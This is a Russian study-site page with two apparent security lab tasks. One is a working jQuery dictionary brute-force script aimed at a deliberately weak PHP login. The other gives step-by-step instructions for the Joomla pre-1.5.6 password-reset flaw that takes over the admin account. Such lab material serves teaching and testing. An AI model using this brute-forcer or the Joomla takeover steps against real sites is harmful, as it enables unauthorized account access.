Студопедия
Случайная страница | ТОМ-1 | ТОМ-2 | ТОМ-3
АрхитектураБиологияГеографияДругоеИностранные языки
ИнформатикаИсторияКультураЛитератураМатематика
МедицинаМеханикаОбразованиеОхрана трудаПедагогика
ПолитикаПравоПрограммированиеПсихологияРелигия
СоциологияСпортСтроительствоФизикаФилософия
ФинансыХимияЭкологияЭкономикаЭлектроника

Задание № 1 Атака методом перебора на учетную запись сайта



Задание № 1 Атака методом перебора на учетную запись сайта

Атака методом перебора (“bruteforce”) основывается на атаке со словарем на все возможные комбинации пароля пользователя.

Исходный код системы аутентификации (файл index1.php):

<?

if(isset($_POST['name']))

{

print_r($_POST);

if($_POST['name'] == "admin")

{

if($_POST['password'] == "123456789123456789")

{

echo "Auth: complete";

}

else

{

echo "Auth: wrong password";

}

}

else

{

echo "Auth: wrong user name";

}

}

?>

<form action="#" method="POST">

<input type='text' name='name'>

<input type='password' name='password'>

<input type='submit' value='Авторизоваться'>

</form>

 

Исходный код системы подбора пароля (файл hack.php):

<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>

<input id='start' type='submit' value='Начать атаку перебора пароля'>

<div id='information'>

<p>Логин пользователя: <span><b>admin</b></span></p>

<p>Проверяемый пароль: <span><b id='pass'></b></span></p>

</div>

<div id='the_end' style='display: none'>

<p>Пароль был успешно подобран!</p>

<p>Успешная авторизация с парой: &nbsp&nbsp<span class='name'>admin</span>: <span class='pass'></span></p>

</div>

<div id='the_end2' style='display: none'>

<p>К сожалению в словаре не был найден подходящий пароль!</p>

</div>

<script>

var mass_words;

var i = -1;

function GetPost()

{

i = i+1;

$("#pass").html(mass_words[i]);

if (mass_words[i])

{

$.post("index1.php",

{

name: "admin",

password: mass_words[i].substring(0, mass_words[i].length - 1),

},

function(data)

{

if(data.indexOf("complete") >= 0)

{

$(".pass").html(mass_words[i]);

$("#the_end").css("display", "block");

}

else

GetPost();

}

);

}

else

{

$("#the_end2").css("display", "block");

}

}

$(document).ready(function()

{

$.get('dict1.txt',{},

function(txt)

{

var words = txt;

mass_words = words.split('\n');

});

$("#start").click(function()

{

GetPost();

});

});

</script>

 


 

 

Задание №2 – Уязвимость смены пароля в cms Joomla версии < 1.5.6

Основная уязвимость CMS данной версии находится в строке:
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));

Данная уязвимость позволяет произвести смену пароля пользователя для учетной записи, которая не имеет в поле `activation` никаких данных и имеет наименьшее значение поля `id`, а именно это учетка администратора сайта (создается при инсталяции cms на хостинг)

Последовательность действий для смены пароля неавторизованным пользователем для учетной записи администратора сайта:

1. Переход по ссылке http://[host]/index.php?option=com_user&view=reset&layout=confirm

2. Вставка в поле пользователя имени администратора, в поле «Код подтверждения» символа ‘



3. Смена пароля администратора

4. Процедура аутентификации по ссылке http://[host]/administrator/ с новым паролем

5. PROFIT


Дата добавления: 2015-08-28; просмотров: 25 | Нарушение авторских прав




<== предыдущая лекция | следующая лекция ==>
Не только мастера - козлы | 

mybiblioteka.su - 2015-2024 год. (0.008 сек.)